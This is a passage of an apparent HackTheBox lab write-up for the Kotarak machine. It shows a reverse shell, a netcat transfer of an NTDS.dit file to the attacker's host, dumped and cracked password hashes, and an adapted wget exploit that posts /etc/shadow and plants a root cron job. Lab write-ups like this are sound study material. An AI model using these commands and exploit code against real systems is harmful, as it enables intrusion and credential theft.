&lt;p&gt;We&amp;rsquo;re getting a 404! I believe this is related to the default page settings. The easiest way to access the app is by looking inside the war file and getting the name of the JSP file. As WAR files are just zip files, we can do &lt;code&gt;unzip -l revshell.war&lt;/code&gt; and see the name: &lt;code&gt;kvlaagcipgr.jsp&lt;/code&gt; in my case.&lt;/p&gt;
&lt;p&gt;Accessing &lt;code&gt;http://10.10.10.55:8080/revshell/kvlaagcipgr.jsp&lt;/code&gt; now triggers our reverse shell correctly.&lt;/p&gt;
&lt;h2 id="escalating-to-atanas"&gt;Escalating to atanas&lt;/h2&gt;
&lt;p&gt;Getting a proper shell via &lt;code&gt;python -c &amp;quot;import pty; pty.spawn('/bin/bash')&amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;lt;Ctrl&amp;gt;Z&lt;/code&gt;, &lt;code&gt;stty raw -echo&lt;/code&gt;, &lt;code&gt;fg&lt;/code&gt; (see &lt;a href="https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/"&gt;previous posts&lt;/a&gt; for more on that), we can now look around what we have access to. Right in tomcat&amp;rsquo;s home directory, we find the following folder: &lt;code&gt;to_archive/pentest_data&lt;/code&gt;. In it are two files that look like copies of a a) NTDS.dit file – the Active Directory database file where objects, including user hashes, are stored –, and b) Windows registry data, most likely the SYSTEM hive.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can transfer the files to our machine via netcat:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# listen on our machine
nc -lvnp 4300 &amp;gt; ntds.dit

# send on victim machine
nc 10.10.14.44 4300 &amp;lt; 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick &lt;code&gt;md5sum *&lt;/code&gt; tells us whether the transfer was successful.&lt;/p&gt;
&lt;p&gt;If we indeed have the NTDS.dit and the SYSTEM registry hive, we should be able to extract users and hashes. We can do this very easily with &lt;a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"&gt;&lt;em&gt;secretsdump&lt;/em&gt; from &lt;em&gt;Impacket&lt;/em&gt;&lt;/a&gt;. I learned about it in the article &lt;a href="https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/"&gt;&amp;ldquo;Extracting Hashes and Domain Info From ntds.dit&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; secretsdump.py -ntds ntds.dit -system reg.bin LOCAL

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
[...]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We&amp;rsquo;re getting lots of users, machines and hashes back. Most likely we&amp;rsquo;ll need atanas&amp;rsquo; or Administrator&amp;rsquo;s password to proceed, so let&amp;rsquo;s get cracking:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;john --format=nt --wordlist=rockyou.txt hashes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Trying two standard wordlists – rockyou and 000webhost from &lt;a href="https://github.com/danielmiessler/SecLists"&gt;seclists&lt;/a&gt; – we quickly get both hashes cracked:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Administrator:f16tomcat!
atanas:Password123!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Trying to use any of them to open a SSH session (for root or atanas) fails.&lt;/p&gt;
&lt;p&gt;Looking a bit more around on the machine, we see that we have multiple network interfaces (&lt;code&gt;ifconfig&lt;/code&gt;) and can also identify a particular ARP cache entry to 10.0.3.133 on the &lt;code&gt;lxcbr0&lt;/code&gt; interface.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; ifconfig

eth0 Link encap:Ethernet HWaddr 00:50:56:b9:bc:8e 
 inet addr:10.10.10.55 Bcast:10.10.10.255 Mask:255.255.255.0
[...]

lo Link encap:Local Loopback 
 inet addr:127.0.0.1 Mask:255.0.0.0
[...]

lxcbr0 Link encap:Ethernet HWaddr 00:16:3e:00:00:00 
 inet addr:10.0.3.1 Bcast:0.0.0.0 Mask:255.255.255.0
[...]

&amp;gt; arp

Address HWtype HWaddress Flags Mask Iface
10.0.3.133 ether 00:16:3e:c9:bd:b1 C lxcbr0
10.10.10.2 ether 00:50:56:b9:90:ea C eth0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Checking with &lt;code&gt;nc 10.0.3.133 22&lt;/code&gt; we see the &lt;a href="https://linuxcontainers.org"&gt;container&lt;/a&gt; host is alive and a SSH server is listening. Unfortunately, our passwords don&amp;rsquo;t work here either.&lt;/p&gt;
&lt;p&gt;Taking a step back and looking at the sshd_config on the main host, we see that only root is allowed to login. So maybe the creds work when we use them directly in our existing shell via &lt;code&gt;su&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;su - atanas&lt;/code&gt; with password &lt;code&gt;f16tomcat!&lt;/code&gt; works! We have now escalated to atanas.&lt;/p&gt;
&lt;h2 id="getting-root-in-the-container"&gt;Getting root in the container&lt;/h2&gt;
&lt;p&gt;Interestingly, atanas owns two files in the /root directory (&lt;code&gt;app.log&lt;/code&gt; and &lt;code&gt;flag.txt&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;app.log&lt;/code&gt; looks like an Apache access log file. We see 2 minute apart GET requests from 10.0.3.133 (the host we discovered earlier) with a user agent of &lt;code&gt;Wget/1.16&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] &amp;#34;GET /archive.tar.gz HTTP/1.1&amp;#34; 404 503 &amp;#34;-&amp;#34; &amp;#34;Wget/1.16 (linux-gnu)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is probably a cron job set up to run every two minutes. The user agent gives away that an old version of wget is used.&lt;/p&gt;
&lt;p&gt;Doing a quick check for known vulnerabilities for this wget version, we quickly find &amp;ldquo;GNU Wget &amp;lt; 1.18 - Arbitrary File Upload / Remote Code Execution&amp;rdquo; via &lt;code&gt;searchsploit wget&lt;/code&gt; or &lt;a href="https://www.exploit-db.com/exploits/40064"&gt;exploit-db.com&lt;/a&gt;, respectively.&lt;/p&gt;
&lt;p&gt;This exploit seems to be exactly what we need in this case. You can read about the details on the exploit page, but in short: we&amp;rsquo;re able to trick wget into storing a local file by redirecting the request to a FTP server. By sending a &lt;code&gt;.wgetrc&lt;/code&gt; file, we can change the behavior of wget (if run from the home directory) on the &lt;em&gt;next&lt;/em&gt; request to send us file contents of any file the user of the cron job has access to (if root, all) and/or to define a destination directory for fetched files. Doing the latter, we can return a file in crontab format, store it in /etc/cron.d (via the &lt;code&gt;.wgetrc&lt;/code&gt; setting) and then get any command to execute when the cron is run (we can set it to execute every 1 minute).&lt;/p&gt;
&lt;p&gt;The exploit script contains almost everything we need, so we&amp;rsquo;ll just adjust it minimally. It also comes in handy, that we already have a python ftp server package (pyftpdlib) installed on the box (check with &lt;code&gt;pip list&lt;/code&gt;) :-)&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s only one part that is missing: how can we setup a webserver to listen on port 80 (we can see the requests are not coming through the other ports) when we a) are not root, so cannot use privileged ports and b) cannot modify the httpd&amp;rsquo;s config, place .htaccess files, or control the Apache service in general.&lt;/p&gt;
&lt;p&gt;The missing piece is &lt;code&gt;authbind&lt;/code&gt; and it took me waaaay too long to figure this out.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;authbind allows a program which does not or should not run as root to bind to low-numbered ports in a controlled way.
(&lt;a href="http://manpages.ubuntu.com/manpages/xenial/man1/authbind.1.html"&gt;man page&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;authbind&lt;/code&gt; is installed on the machine, so it&amp;rsquo;s possible to do something like &lt;code&gt;authbind nc -lvnp 80&lt;/code&gt; and listen on privileged port 80 as our low-priv user. Doing this, we can also verify that we indeed get a request every two minutes on this port:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;atanas@kotarak-dmz:/var/log/apache2$ authbind nc -lvnp 80 
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 46080)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cool! So let&amp;rsquo;s set up our attack and use the code just like described in the &lt;a href="https://www.exploit-db.com/exploits/40064"&gt;proof of concept on exploit-db.com&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; mkdir /tmp/ftp
&amp;gt; cd /tmp/ftp
&amp;gt; vim .wgetrc # and paste the following contents

post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell

&amp;gt; vim server.py # and paste the following contents
&lt;/code&gt;&lt;/pre&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;SimpleHTTPServer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;SocketServer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;wgetExploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleHTTPServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# This takes care of sending .wgetrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;We have a volunteer requesting &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; by GET :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Wget&amp;#34;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	 &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;But it&amp;#39;s not a Wget :( &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Nothing to see here...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Uploading .wgetrc via ftp redirect vuln. It should land in /root &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;new_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ftp://anonymous@&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;/.wgetrc&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Sending redirect to &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Location&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# In here we will receive extracted file and install a PoC cronjob&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;We have a volunteer requesting &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; by POST :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Wget&amp;#34;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	 &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;But it&amp;#39;s not a Wget :( &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Nothing to see here...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;content_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;content-length&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;post_body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Received POST from wget, this should be the extracted /etc/shadow file: &lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;---[begin]---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;---[eof]---&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Sending back a cronjob script as a thank-you for the file...&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;It should get saved in /etc/cron.d/wget-root-shell on the victim&amp;#39;s host (because of .wgetrc we injected in the GET first response)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text/plain&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ROOT_CRON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;File was served. Check on /root/hacked-via-wget on the victim&amp;#39;s host in a minute! :) &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HTTP_LISTEN_IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;10.0.3.1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;10.0.3.1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FTP_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
